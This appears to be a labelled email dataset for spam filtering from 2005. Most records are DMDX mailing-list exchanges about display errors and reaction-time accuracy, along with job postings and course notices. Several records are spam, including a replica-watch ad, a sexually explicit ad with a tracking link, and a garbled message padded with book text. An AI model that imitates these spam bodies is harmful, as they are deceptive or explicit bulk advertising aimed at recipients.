Does the mean that I need to add 20 ticks to my measured RT, namely adding 20*11.7 to 0.7ms? Your help would be very helpful. Here is an example of my script, with one sentence. N1 < vm 1024 768 768 32 85> 0 ""Instructions. ""; $ +1 ""== ====== === ========= == ===== == ====== ========.""*; +2 ""Le ====== === ========= == ===== == ====== ========.""*; +3 ""== matelot === ========= == ===== == ====== ========.""*; +4 ""== ====== doit ========= == ===== == ====== ========.""*; +5 ""== ====== === réchauffer == ===== == ====== ========.""*; +6 ""== ====== === ========= le ===== == ====== ========.""*; +7 ""== ====== === ========= == repas == ====== ========.""*; +8 ""== ====== === ========= == ===== du ====== ========.""*; +9 ""== ====== === ========= == ===== == blessé ========.""*; +10 ""== ====== === ========= == ===== == ====== lentement.""*; -4207 %50/""C'est le blessé qui réchauffe le plat ?""*; 800 ; $ $ 0 "" End of trial. ""; $ Sincerly, Claire Delle Luche _____________________________________________ Claire Delle Luche (Allocataire de recherche) Laboratoire Dynamique du Langage 14, avenue Berthelot 69 363 Lyon Cedex 07 France",0,0 Madeline Hirschland ,,,Virtual Savings Conference,"No fees, no travel, you're invited! From December 5th through December 9th, CGAP and *MicroSave* are sponsoring a virtual conference on savings mobilization. Facilitated by Madeline Hirschland, senior managers from leading financial institutions including FinComun, Equity Bank, and *Safe*Save will discuss their experience serving small depositors. You are invited to simply listen in or to contribute your own experience with deposit mobilization. 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You need new video drivers or you need to used one of the shortcuts that limits how hard DMDX presses the video card drivers, ""DMDX for GeForce Video Cards"" or ""DMDX for Really Bad Video Cards"". >-> Do you have any clues why it is so? >To avoid these display errors, I tried to increase the delay up to 60 >ticks, but it remained the same. Finally, I set the delay to -20, that is >, so that DMDX anticipates the next trial. This time, no display >error occurred. However, the reading times, measured after each word, are >very strange, being as low as 0.7ms (which never happened before). This is >not due to speedy behaviour, because participants respond accurately on >trials where they present such behaviour. > >-> Does the mean that I need to add 20 ticks to my measured RT, >namely adding 20*11.7 to 0.7ms? >Your help would be very helpful. >Here is an example of my script, with one sentence. >N1 Precision USB""> 255255255> < vm 1024 768 768 32 85> > >0 ""Instructions. ""; >$ >+1 ""== ====== === ========= == ===== == ====== ========.""*; >+2 ""Le ====== === ========= == ===== == ====== ========.""*; >+3 ""== matelot === ========= == ===== == ====== ========.""*; >+4 ""== ====== doit ========= == ===== == ====== ========.""*; >+5 ""== ====== === réchauffer == ===== == ====== ========.""*; >+6 ""== ====== === ========= le ===== == ====== ========.""*; >+7 ""== ====== === ========= == repas == ====== ========.""*; >+8 ""== ====== === ========= == ===== du ====== ========.""*; >+9 ""== ====== === ========= == ===== == blessé ========.""*; >+10 ""== ====== === ========= == ===== == ====== lentement.""*; >-4207 %50/""C'est le blessé qui réchauffe le plat ?""*; >800 ; >$ >$ >0 "" End of trial. ""; >$ >Sincerly, >Claire Delle Luche >_____________________________________________ >Claire Delle Luche (Allocataire de recherche) >Laboratoire Dynamique du Langage >14, avenue Berthelot >69 363 Lyon Cedex 07 >France /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,0 Luben Mcelrath ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 01:56:54 -0700",Re: your AMjBtEN,"Hi X A V V C P L a m A I I r e n b L A A o v a i I G L z i x e U R I a t n M A S c ra http://www.geocities.com/SlatarzMorrisPeac/ sleep. So the Wargs had no intention of going away and letting the people up the trees escape, at any rate not until morning. And long before that, they said, goblin soldiers would be coming down from the mountains; and goblins can climb trees, or cut them down. Now you can understand why Gandalf, listening to their growling and yelping, began to be dreadfully afraid, wizard though he was, and to feel that they ",1,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 23:56:00 +0800",[DMDX] RT of leaving off button,"Hi, I am writing a program for a simple reaction time task. In the experiment,participant would be instructed to depress a button(home button) until a signal is presented, then the participant need to leave-off the home button and move his hand to depress the another button(response button). The problem is that, i would like to use DMDX to count the RT of leaving off the button and at the same time the RT of pressing the button in one trial. How to use DMDX to do that? Thanks, Kevin ",0,0 bouquet ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 17:33:11 +0100",[DMDX] no input detected,"Hi, I tried to run few sample control files with the latest version of DMDX. ""No response"" signal appears regardless of my keyboard input. It seems that no input is detected. It doesn't work whenever I try to use mouse or keyboard devices (although devices have been named correctly in French, i.e. 'clavier' and 'souris') Does anyone have any clues? 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 13:00:50 -0700",[DMDX] Re: RT of leaving off button,"You need the input mode. At 11:56 PM 11/21/2005 +0800, you wrote: >Hi, > >I am writing a program for a simple reaction time task. In the >experiment,participant would be instructed to depress a button(home >button) until a signal is presented, then the participant need to >leave-off the home button and move his hand to depress the another >button(response button). > >The problem is that, i would like to use DMDX to count the RT of >leaving off the button and at the same time the RT of pressing the >button in one trial. How to use DMDX to do that? > >Thanks, >Kevin > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My mother loved children -- she would have given anything if I had been one. - Groucho Marx",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 13:03:17 -0700",[DMDX] Re: no input detected,"You will have to map the French button names as well as the French device names, and so forth. At 05:33 PM 11/21/2005 +0100, you wrote: >Hi, > >I tried to run few sample control files with the latest version of DMDX. >""No response"" signal appears regardless of my keyboard input. >It seems that no input is detected. >It doesn't work whenever I try to use mouse or keyboard devices (although >devices have been named correctly in French, i.e. 'clavier' and 'souris') > >Does anyone have any clues? > >Thanks > >Cédric > > > > > > >Cédric Bouquet, PhD >Laboratoire Performance, Motricité & Cognition (EA 3814) >MSHS >99 Av du Recteur Pineau >86 000 POITIERS >FRANCE > >tel : +33 (0)5.49.45.46.98. >fax : +33 (0)5.49.45.46.57 > >http://www.mshs.univ-poitiers.fr/lpmc/nouveau/ > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My mother loved children -- she would have given anything if I had been one. - Groucho Marx",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 15:33:53 -0600",[DMDX] display error with delay of 0,"Why does DMDX occasionally produce display errors when using a delay of 0? If a delay of 0 means ""get the display up as quickly as possible, the delay being determined by how long it takes DMDX to prepare the item"", then it doesnt seem to make sense that a display error could occur. When these errors occur they seem to always be 1 tick delayed (which in the script I am writing is about 10% of items that load a bmp which has previously been loaded using medialife) J -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 """Lisa Law <""","""ard1121 <""","Mon, 21 Nov 2005 15:01:50 -0500","Director of Program Operations, Latin America - ARD","Job Alert from International Career Employment Weekly To: Email Alert Subscribers DIRECTOR OF PROGRAM OPERATIONS, LATIN AMERICA ARD, Inc. (http://www.ardinc.com) is accepting expressions of interest from candidates for Director of Program Operations positions in Latin America. U.S. citizenship and relocation to Latin America is required. Anticipated start date is December 2005-January 2006. The Director of Program Operations will be responsible for promoting coordination, integration and synergies among multidisciplinary project teams. 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For information on over 500 additional jobs, see our web site at http://www.internationaljobs.org Date: Tue, 22 Nov 2005 09:54:38 -0500 From: Lisa Law <[log in to unmask]> Subject: Program Manager Operations, Pakistan; Medical Coordinator, Pakistan; & Reproductive Health Coordinator - American Refugee Committee To: arc1122 <[log in to unmask]> Errors-to: [log in to unmask] Reply-to: Lisa Law <[log in to unmask]> Message-id: <383-2200511222145438110@dpc000> Content-type: text/plain; charset=US-ASCII Original-recipient: rfc822;[log in to unmask] Job Alert from International Career Employment Weekly To: Email Alert Subscribers Pakistan (Bagh sub office) - Program Manager Operations (Immediate vacancy, pending funding) Primary Objective: Ensure proper coordination between all medical and training personnel and ensure accurate compliance, planning and communication between operational sites. Context: On Saturday, October 8, 2005 the Hindu Kush Mountains of Pakistan were hit by an 7.6 magnitude earthquake. The earthquake has destroyed more than 80 percent of structures in parts of northern Pakistan. In the wake of this major natural disaster the immediate needs of the affected population of over 3 million people are immense. After deploying a rapid assessment team to Bagh district, located in Azad Jammu Kashmir (AJK), ARC began distribution via helicopter of tent kits (winterized tents, blankets, shawls, socks, and hygiene kits). In addition, ARC has set up a Basic Health Unit (BHU) at the base of the mountain to serve the critically injured populations descending from their mountain villages and a Central Health Unit (CHU) in Bagh. ARC will also begin food distribution, funded by the World Food Program (WFP) to the affected population in Bagh district. Beyond the immediate health and shelter needs, ARC is soliciting funds to implement a multi-sectoral approach that will provide comprehensive coverage to identified affected populations. In addition to the services already implemented, ARC hopes to provide water/sanitation, and emergency food rations for the coming winter months and to ensure the basic rights of the most vulnerable of the affected population, particularly those of woman and children, are protected. Responsibilities: Supervises and coordinates all field staff activities to ensure activities are in line with ARC s program objectives in Bagh District. Provide oversight of partner NGOs implementing health, water and sanitation programs. Provides technical assistance to and builds reporting capacity of senior field staff for report writing, data collection, presentations, and analysis. Prepares the monthly activity reports for submission to the Program Country Director. In conjunction with the Security Officer, ensures that Security Standard Operating Procedures are current and in line with ARC and UN guidelines. Communicates with Islamabad Office on a daily basis to apprise the Country Director of the current situation, on both program and security issues. As directed, represents ARC at official meetings, serves as the ARC liaison in the Field on program issues, and serves as the ARC liaison with UN agencies on any program issues as directed by the Country Director. Prepare Field program reports in a timely manner for donors; quarterly, final, as per proposal. Monitors and evaluates all field activities. Promote overall program coherence in the ARC Pakistan country program by ensuring that all projects have well-defined performance indicators and output monitoring mechanisms. Provide technical advice and program support. Assist in drafting grant proposals as directed by Country Director. Support Technical Coordinators in the development of program structure, identification of human resource needs and preparation of individual job descriptions. Advises Country Director on current and potential needs of DP populations in Bagh District in appropriate sectors (i.e., Health, WatSan). Participates as a member of a needs assessment team for any potential new programs as directed by the Country Director. Directly supervises Program staff in the Field and assists in mid-cycle and annual Performance Appraisals. Qualifications: University degree in International Management or related field; Master s degree a plus. Minimum three years overseas experience in a similar position (including experience working in the field).Experience in managing a multi-sector program; proposal/grant writing, management, monitoring and evaluation; conducting needs assessments. Experience in managing and working with a multicultural staff; strong participatory leadership and interpersonal skills; ability to motivate and counsel staff working in a complex emergency environment. Experience and/or knowledge of Pakistan (history, politics, culture, etc.). Experience in working in complex emergency environment. Strong verbal and written communication experience; USAID/OFDA/UNHCR background preferred. Ability to prioritize multiple tasks and meet deadlines. Computer competent Must be willing to live in different locations under difficult conditions. Must be willing to travel to insecure areas in difficult means of transport (small planes, bad roads, long trips, over-nights as necessary, etc.). English fluency required. Applications for this position should be sent to: Please apply online at ARC's job application database at www.archq.org/employment/ For more information on ARC programs, please view our website at www.archq.org Organization Description: The American Refugee Committee (ARC) works for the survival, health, and well-being of refugees, displaced persons, and those at risk, and seeks to enable them to rebuild productive lives of dignity and purpose, striving always to respect the values of those served. ARC is an international nonprofit, nonsectarian organization that has provided multisectoral humanitarian assistance and training to millions of beneficiaries for more than 25 years. *********************** Pakistan - Medical Coordinator (Immediate Vacancy) Responsibilities: Working with the Operations Manager/ OIC Quetta to provide the maximum quality of clinical care given to refugees in the health posts and clinics assigned to ARC. Supervise Field Operations to ensure the coordination of Field staff activities and the timely submission of monthly activity reports. Supervise, evaluate and support national and refugee medical team members in the camp health posts. In coordination with RC, ensure all donor required policies and procedures are carried out. Design, implement and manage health programs as required and directed by the RC. Proposal preparation, including assisting with budgeting. Provide technical supervision of drug and medical supply stocks as well as assist in the selection, purchase and supervision of all medical supplies and furnishings. Monitor medical sector budget expenditures and prepare field reports. Collation of security information and dissemination to RC, HQ and all staff concerned. Other areas of responsibility as assigned by RC. Overall supervision of Youth Club supplies and activities Coordination with other NGOs on RH, GBV, STI/ AIDS and other relevant health topics. Monitor and upgrade if needed clinical care services and health information system. Coordinate training to physicians, medical assistants, nurses, midwives, laboratory technicians and other health staff. Assist in the revision and implementation of protocols. Identify training needs of local or refugee health staff and undertake training. Identify areas for future program interventions and attend meetings with Donors and other Partners, if requested. Supervision of all medical and medical support staff. Regular communication with Islamabad Head Office re current programming situation- Written weekly and monthly reports. Conduct mid-annual and annual performance appraisals for medical team. Ensure all units are operating efficiently and meeting all field requirements in a timely manner. Qualifications: MD or RN with strong clinical and teaching skills, particularly in SGBV, STI/HIV/AIDS and Counseling. Background and interest in epidemiology an advantage. Previous work experience in complex emergency situations, including refugee, displaced and/or war-affected populations is essential. Previous work experience in Central Asia region or in a Muslim Culture. Good interpersonal skills with ability to work in a multicultural team atmosphere under remote or stressful conditions. Excellent organizational skills with the ability to prioritize multiple tasks and meet deadlines. Strong organizational and diplomacy skills with a commitment to the principles of PHC. Word processing and spreadsheet computer skills required. Valid drivers license with ability to drive standard. Applications for this position should be sent to: Please apply online at ARC's job application database at www.archq.org/employment/ For more information on ARC programs, please view our website at www.archq.org Organization Description: The American Refugee Committee (ARC) works for the survival, health, and well-being of refugees, displaced persons, and those at risk, and seeks to enable them to rebuild productive lives of dignity and purpose, striving always to respect the values of those served. ARC is an international nonprofit, nonsectarian organization that has provided multisectoral humanitarian assistance and training to millions of beneficiaries for more than 25 years. *********************** Reproductive Health Coordinator: (Immediate Vacancy, pending funding) Primary Objective: The RH Coordinator is the key technical person in the project. The RH Coordinator is responsible to compile RH data collected in the community and maternities and ensure that data is processed and compiled into technical reports. The RH Coordinator is responsible for ensuring that key training components are in place, and provide supervision to relevant health personnel. Responsibilities: Responsible for coordination of all Reproductive Health (RH) activities, including: Integration of RH components into the Curative Care and Community Health programs. Implementation, monitoring, and evaluation of RH activities, including Safe Motherhood/EmOC, Child Spacing/Family Planning, STIs prevention and awareness activities, and gender-based violence. Provides technical assistance and training to community based health personnel and personnel at the health centers that ARC operates. Introduces and develops appropriate workshops and training materials for RH personnel. Monitors and maintains RH supplies including training materials and drug supplies. Develops, implements, and evaluates maternal health services, including, labour and delivery, ante-natal services, home visits and follow-up, post-natal care, and family planning. Coordinates closely with the Medical Coordinator on all RH activities, including any changes or modifications in program activities. Prepares a monthly report of RH activities. Develops, documents, and implements written protocols and standard operating procedures for: maternal health, reproductive health, sexually transmitted infections, and safety regarding HIV/AIDS in RH procedures, care and referral of obstetric emergencies. Qualifications: MPH or Public Health experience. Clinical skills preferred or experience in RH clinic, midwifery skills preferred. Training experience and experience working in Community Based Programs. Management skills: experience as a Program/Project Manager, supervising people, writing reports, planning/collaborating with other health profession staff. IEC experience. Experience working in a developing country (refugee or IDP setting preferred). Willing to work in an environment with basic/limited local resources and infrastructure. Applications for this position should be sent to: Please apply online at ARC's job application database at www.archq.org/employment/ For more information on ARC programs, please view our website at www.archq.org Organization Description: The American Refugee Committee (ARC) works for the survival, health, and well-being of refugees, displaced persons, and those at risk, and seeks to enable them to rebuild productive lives of dignity and purpose, striving always to respect the values of those served. ARC is an international nonprofit, nonsectarian organization that has provided multisectoral humanitarian assistance and training to millions of beneficiaries for more than 25 years. **************** Copyright 2005. All rights reserved. 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For information on over 500 additional jobs, see our web site at http://www.internationaljobs.org Back to: Top of message | Previous page | Main ICAR-JOBS-L page LISTSERV.GMU.EDU",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 15:34:10 -0700",[DMDX] Re: display error with delay of 0,"At 03:33 PM 11/21/2005 -0600, you wrote: >Why does DMDX occasionally produce display errors when using a delay of >0? If a delay of 0 means ""get the display up as quickly as possible, the >delay being determined by how long it takes DMDX to prepare the item"", >then it doesnt seem to make sense that a display error could occur. When >these errors occur they seem to always be 1 tick delayed (which in the >script I am writing is about 10% of items that load a bmp which has >previously been loaded using medialife) DMDX when presented with a delay of zero prepares the item and then schedules it two ticks in the future. Patently something on your machine is way slower than I ever anticipated. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are those who claim that magic is like the tide; that it swells and fades over the surface of the earth, collecting in concentrated pools here and there, almost disappearing from other spots, leaving them parched for wonder. There are also those who believe that if you stick your fingers up your nose and blow, it will increase your intelligence."" - The Teachings of Ebenezum, Volume VII ",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 16:40:12 -0600",[DMDX] Re: display error with delay of 0,"Thanks for the info. The computer I am running this script on is my personal notebook that I dont use for data collection. I guess there could be a lot of things wrong with it (such as old drivers, crappy notebook video card, etc). Out of curiosity, what processes occur during those two ticks between item preparation and the actual display (might help me to understand what the culprit is on this notebook to satisfy my need to understand this). J On 11/21/05, Jonathan C. Forster wrote: > > At 03:33 PM 11/21/2005 -0600, you wrote: > >Why does DMDX occasionally produce display errors when using a delay of > >0? If a delay of 0 means ""get the display up as quickly as possible, the > >delay being determined by how long it takes DMDX to prepare the item"", > >then it doesnt seem to make sense that a display error could occur. When > >these errors occur they seem to always be 1 tick delayed (which in the > >script I am writing is about 10% of items that load a bmp which has > >previously been loaded using medialife) > > DMDX when presented with a delay of zero prepares the item and then > schedules it two ticks in the future. Patently something on your machine > is way slower than I ever anticipated. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""There are those who claim that magic is like the tide; that it swells > and fades over the surface of the earth, collecting in concentrated > pools here and there, almost disappearing from other spots, leaving > them parched for wonder. There are also those who believe that if you > stick your fingers up your nose and blow, it will increase your > intelligence."" > > - The Teachings of Ebenezum, Volume VII > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. 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",DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 17:46:38 -0700",[DMDX] Re: display error with delay of 0,"At 04:40 PM 11/21/2005 -0600, you wrote: >Thanks for the info. The computer I am running this script on is my >personal notebook that I dont use for data collection. I guess there >could be a lot of things wrong with it (such as old drivers, crappy >notebook video card, etc). Out of curiosity, what processes occur during >those two ticks between item preparation and the actual display (might >help me to understand what the culprit is on this notebook to satisfy my >need to understand this). Almost nothing as far as DMDX is concerned, I always thought two ticks was a ridiculously long time myself but given that DMDX doesn't check where it is in the previous retrace two ticks is pretty much the minimum if you don't want stress things. Something else on your machine is probably chewing up oodles of execution time. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Nov 2005 17:47:43 -0700",[DMDX] Re: display error with delay of 0,"At 04:40 PM 11/21/2005 -0600, you wrote: >Thanks for the info. The computer I am running this script on is my >personal notebook that I dont use for data collection. I guess there >could be a lot of things wrong with it (such as old drivers, crappy >notebook video card, etc). Out of curiosity, what processes occur during >those two ticks between item preparation and the actual display (might >help me to understand what the culprit is on this notebook to satisfy my >need to understand this). The solution in your case is to use or -4 as is converted to . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,0 Elbert Boykin ,john@smtp.uoregon.edu,"Tue, 22 Nov 2005 03:02:49 -0600",Prince got one,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. 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With d 20: DMDX crashes With d 0: many display errors With d -20: no display errors but weird RTs (0.7ms) I am sorry to bother you, but we are incapable of finding a solution. Plus, we would like to know whether measured RTs are accurate with d -20, because they are sometimes dramatically low. Claire Delle Luche _____________________________________________ -----Message d'origine----- De : DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] De la part de j.c.f. Envoyé : lundi 21 novembre 2005 16:29 À : DMDX@psy1.psych.arizona.edu Objet : [DMDX] Re: Upgrading Windows and DMDX; Display errors At 11:27 AM 11/21/2005 +0100, you wrote: >Dear all, >We have recently updated our computers (from Windows 2000 to XP, >updating of DirectX and DMDX) and I have problems with DMDX when doing >a self-paced reading (but none with a simple visual lexical decision paradigm). > >The following script used to work before, but now we have the infamous >""display error"" on each word, although we have , although the >refresh rate is the same as before (11,7ms). After 20 or so sentences, >Windows XP crash and the computer needs to be restarted. You need new video drivers or you need to used one of the shortcuts that limits how hard DMDX presses the video card drivers, ""DMDX for GeForce Video Cards"" or ""DMDX for Really Bad Video Cards"". >-> Do you have any clues why it is so? >To avoid these display errors, I tried to increase the delay up to 60 >ticks, but it remained the same. Finally, I set the delay to -20, that >is , so that DMDX anticipates the next trial. This time, no >display error occurred. However, the reading times, measured after each >word, are very strange, being as low as 0.7ms (which never happened >before). This is not due to speedy behaviour, because participants >respond accurately on trials where they present such behaviour. > >-> Does the mean that I need to add 20 ticks to my measured RT, >namely adding 20*11.7 to 0.7ms? >Your help would be very helpful. >Here is an example of my script, with one sentence. >N1 Precision USB""> 255255255> < vm 1024 768 768 32 85> > >0 ""Instructions. ""; >$ >+1 ""== ====== === ========= == ===== == ====== ========.""*; >+2 ""Le ====== === ========= == ===== == ====== ========.""*; >+3 ""== matelot === ========= == ===== == ====== ========.""*; >+4 ""== ====== doit ========= == ===== == ====== ========.""*; >+5 ""== ====== === réchauffer == ===== == ====== ========.""*; >+6 ""== ====== === ========= le ===== == ====== ========.""*; >+7 ""== ====== === ========= == repas == ====== ========.""*; >+8 ""== ====== === ========= == ===== du ====== ========.""*; >+9 ""== ====== === ========= == ===== == blessé ========.""*; >+10 ""== ====== === ========= == ===== == ====== >+lentement.""*; >-4207 %50/""C'est le blessé qui réchauffe le plat ?""*; 800 ; $ >$ 0 "" End of trial. ""; $ Sincerly, Claire Delle Luche >_____________________________________________ >Claire Delle Luche (Allocataire de recherche) Laboratoire Dynamique du >Langage 14, avenue Berthelot >69 363 Lyon Cedex 07 >France",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 22 Nov 2005 10:37:00 -0700",[DMDX] Re: Upgrading Windows and DMDX; Display errors NEXT,"You will have to get new video drivers. No, nothing DMDX is doing under those circumstances is trustworthy. At 05:16 PM 11/22/2005 +0100, you wrote: >Dear all, > >I am coming back to you because adding ""-buffers 4"" didn't help at all. Our >128Mo video card is INTEL 829156/GV/910GL Express Chipset Family. > >With d 20: DMDX crashes >With d 0: many display errors >With d -20: no display errors but weird RTs (0.7ms) > >I am sorry to bother you, but we are incapable of finding a solution. Plus, >we would like to know whether measured RTs are accurate with d -20, because >they are sometimes dramatically low. > >Claire Delle Luche >_____________________________________________ >-----Message d'origine----- >De : DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] De la part de j.c.f. >Envoyé : lundi 21 novembre 2005 16:29 >À : DMDX@psy1.psych.arizona.edu >Objet : [DMDX] Re: Upgrading Windows and DMDX; Display errors > >At 11:27 AM 11/21/2005 +0100, you wrote: > > >Dear all, > >We have recently updated our computers (from Windows 2000 to XP, > >updating of DirectX and DMDX) and I have problems with DMDX when doing > >a self-paced reading (but none with a simple visual lexical decision >paradigm). > > > >The following script used to work before, but now we have the infamous > >""display error"" on each word, although we have , although the > >refresh rate is the same as before (11,7ms). After 20 or so sentences, > >Windows XP crash and the computer needs to be restarted. > > You need new video drivers or you need to used one of the shortcuts that >limits how hard DMDX presses the video card drivers, ""DMDX for GeForce Video >Cards"" or ""DMDX for Really Bad Video Cards"". > > > >-> Do you have any clues why it is so? > >To avoid these display errors, I tried to increase the delay up to 60 > >ticks, but it remained the same. Finally, I set the delay to -20, that > >is , so that DMDX anticipates the next trial. This time, no > >display error occurred. However, the reading times, measured after each > >word, are very strange, being as low as 0.7ms (which never happened > >before). This is not due to speedy behaviour, because participants > >respond accurately on trials where they present such behaviour. > > > >-> Does the mean that I need to add 20 ticks to my measured RT, > >namely adding 20*11.7 to 0.7ms? > >Your help would be very helpful. > >Here is an example of my script, with one sentence. > >N1 >Precision USB""> >255255255> < vm 1024 768 768 32 85> > > > >0 ""Instructions. ""; > >$ > >+1 ""== ====== === ========= == ===== == ====== ========.""*; > >+2 ""Le ====== === ========= == ===== == ====== ========.""*; > >+3 ""== matelot === ========= == ===== == ====== ========.""*; > >+4 ""== ====== doit ========= == ===== == ====== ========.""*; > >+5 ""== ====== === réchauffer == ===== == ====== ========.""*; > >+6 ""== ====== === ========= le ===== == ====== ========.""*; > >+7 ""== ====== === ========= == repas == ====== ========.""*; > >+8 ""== ====== === ========= == ===== du ====== ========.""*; > >+9 ""== ====== === ========= == ===== == blessé ========.""*; > >+10 ""== ====== === ========= == ===== == ====== > >+lentement.""*; > >-4207 %50/""C'est le blessé qui réchauffe le plat ?""*; 800 ; $ > >$ 0 "" End of trial. ""; $ Sincerly, Claire Delle Luche > >_____________________________________________ > >Claire Delle Luche (Allocataire de recherche) Laboratoire Dynamique du > >Langage 14, avenue Berthelot > >69 363 Lyon Cedex 07 > >France > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are those who claim that magic is like the tide; that it swells and fades over the surface of the earth, collecting in concentrated pools here and there, almost disappearing from other spots, leaving them parched for wonder. There are also those who believe that if you stick your fingers up your nose and blow, it will increase your intelligence."" - The Teachings of Ebenezum, Volume VII",0,1 halliwil@uoregon.edu,halliwil@uoregon.edu,"Tue, 22 Nov 2005 11:45:07 -0800",Altitude notes,"Hi, I have just posted the 3rd set of altitude notes on blackboard. We will most likely get to them tomorrow. I apologize for taking so long to post them, but I was out of commission that last few days thanks to a cold. How is it that we can know so much about how the human body works, and still be shut down by a little bundle of DNA that is too small to even see? ",0,0 Marci ,beverly@smtp.uoregon.edu,"Wed, 23 Nov 2005 02:55:47 -0400",fair young Womans hardcore actiion!," Russsian alluring Eighteen here doing superb bloowjob. http://gamedaycap.info/fpsf.htm?iSPhfd.fX,hj R_E_M_O_V_E http://gamedaycap.info ",1,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Tue, 22 Nov 2005 12:59:06 -0600",[CS382M:44] office hours Wednesday Nov. 23,"CS382M-ers, I will be holding office hours tomorrow (Wedneday Nov. 23) from 2-3pm, instead of the normal 1-2pm. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 cherr@uoregon.edu,cherr@uoregon.edu,"Tue, 22 Nov 2005 14:09:09 -0800",SPED 411/511 Book Reviews,"All of the book reviews that were turned in have been graded. They are available to be picked up from 175 ED. The book reviews are in a green plastic bin on the file cabinet under the faculty mailboxes. Book reviews will be available to be picked up until the end of finals week (Dec. 9). After that, any unclaimed book reviews will be shredded. Cindy Herr",0,0 Matthew Finkbeiner ,"""DMDX@psy1.psych.arizona.edu"" ","Tue, 22 Nov 2005 17:42:28 -0500",[DMDX] voice key failures,"Jonathan, in a current picture naming experiment, we've noticed that the voice key is being triggered erroneously on about 5% of the trials. I've attached a wav file for you to look at, but essentially the subject makes a response but the voice key doesn't trigger until 800-2000 ms later. If it didn't trigger at all, I wouldn't be too concerned. But the fact that it's being triggered by no apparent acoustic signal is disconcerting. Any ideas? We noticed this happening a few days ago on one of our machines, and I first thought it may have something to do with that machine; but today the same thing happened on a separate machine, so I'm inclined to think it's a DMDX thing and not a machine specific problem. Any help / suggestions mucho appreciated. Matthew ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 22 Nov 2005 16:17:42 -0700",[DMDX] Re: voice key failures," There's a whole slew of RecordVocal and DigitalVox issues that produce exactly the symptoms you describe and that have described by me in great lengths in the past, the finer details of which I never remember. Check the help on RecordVocal and the archives and you should find all the information you need, it's all I'd be doing in any event. At 05:42 PM 11/22/2005 -0500, you wrote: >Jonathan, in a current picture naming experiment, we've noticed that the >voice key is being triggered erroneously on about 5% of the trials. I've >attached a wav file for you to look at, but essentially the subject makes >a response but the voice key doesn't trigger until 800-2000 ms later. The voice key is probably triggering correctly however the data that is being written out is likely to be out of phase however. > If it didn't trigger at all, I wouldn't be too concerned. But the fact > that it's being triggered by no apparent acoustic signal is > disconcerting. Any ideas? We noticed this happening a few days ago on > one of our machines, and I first thought it may have something to do with > that machine; but today the same thing happened on a separate machine, so > I'm inclined to think it's a DMDX thing and not a machine specific problem. It's an audio driver and operating system issue. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are those who claim that magic is like the tide; that it swells and fades over the surface of the earth, collecting in concentrated pools here and there, almost disappearing from other spots, leaving them parched for wonder. There are also those who believe that if you stick your fingers up your nose and blow, it will increase your intelligence."" - The Teachings of Ebenezum, Volume VII ",0,0 US-CERT Security Bulletins 